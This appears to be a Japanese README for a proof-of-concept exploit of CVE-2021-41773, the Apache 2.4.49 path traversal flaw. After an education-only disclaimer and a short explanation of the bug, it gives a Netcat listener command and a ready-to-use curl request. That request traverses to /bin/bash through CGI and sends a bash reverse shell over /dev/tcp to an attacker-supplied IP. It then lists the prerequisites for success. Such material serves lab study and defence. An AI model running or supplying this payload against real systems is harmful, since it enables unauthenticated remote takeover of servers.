
⚠️ 免責事項
このリポジトリは教育および研究目的のみに使用されることを意図しています。
ここで提供される情報とコードは、プライベートラボのマシンなどの管理された環境でのみ使用できます。
所有していない、またはテストする明示的な許可を得ていないシステムに対するこのコードの不正使用は、違法かつ非倫理的です。
作者は、誤用や発生した損害について一切責任を負いません。
CVE-2021-41773 は、Apache HTTP Server バージョン 2.4.49 に影響します。
パス正規化における不適切な入力検証により、攻撃者は %2e のようなエンコードされた文字を使用してパストラバーサルを悪用し、任意のファイルにアクセスできます。
CGI が有効な場合、この脆弱性は認証なしのリモートコード実行 (RCE) にエスカレーションされる可能性があります。
パストラバーサルの欠陥を悪用するために、悪意のある curl リクエストが作成されます。CGI が有効な場合、攻撃者は /bin/bash に到達して任意のシェルコマンドを実行できます。
この例では、サーバーからシェルアクセスを得るためにリバースシェルペイロードが送信されます。
このエクスプロイトはプライベートラボ環境でテストされました。以下は、手順と結果です。
Nmap スキャンにより、ターゲットが Apache/2.4.49 を実行していることが特定されました。

細工された curl コマンドを使用して、リバースシェルペイロードが配信されました。

攻撃者のリスナー上でリバースシェルが正常に取得されました。

ステップ 1: Netcat リスナーを起動
nc -nvlp 4444
ステップ 1: エクスプロイトを実行
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
Apache のバージョンが 2.4.49 であること
CGI が有効であること
ポート 4444(または選択したポート)がファイアウォールで開放されていること
詳細なウォークスルーと理論は、私の Medium 投稿をご覧ください:
👉 Medium でブログを読む